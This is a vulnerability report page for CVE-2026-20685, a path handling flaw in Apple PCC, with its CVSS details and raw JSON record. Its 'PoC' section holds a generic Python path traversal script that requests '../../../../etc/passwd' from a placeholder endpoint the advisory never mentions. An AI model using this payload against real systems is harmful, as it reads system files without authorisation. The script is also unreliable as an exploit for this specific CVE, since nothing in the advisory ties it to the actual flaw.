Security Vulnerability Report
中文
CVE-2026-20685 CVSS 6.5 MEDIUM

CVE-2026-20685

Published: 2026-05-18 16:16:30
Last Modified: 2026-05-18 17:44:15

Description

An attacker in a privileged network position may be able to leak sensitive information. A path handling issue was addressed with improved validation. This issue is fixed in PCC Release 5E290.3.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Apple PCC < Release 5E290.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-20685 (Path Traversal) # This script demonstrates a potential path traversal attempt. import requests target_url = "http://pcc-node-endpoint/api/v1/data" # Malicious payload attempting to traverse directories payload = { "file_path": "../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Potential vulnerability confirmed: Sensitive data leaked.") print(response.text[:100]) else: print("[-] Vulnerability not exploited or target patched.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20685", "sourceIdentifier": "[email protected]", "published": "2026-05-18T16:16:29.570", "lastModified": "2026-05-18T17:44:14.880", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker in a privileged network position may be able to leak sensitive information. A path handling issue was addressed with improved validation. This issue is fixed in PCC Release 5E290.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://security.apple.com/documentation/private-cloud-compute/releasenotes#darwin-init", "source": "[email protected]"}]}}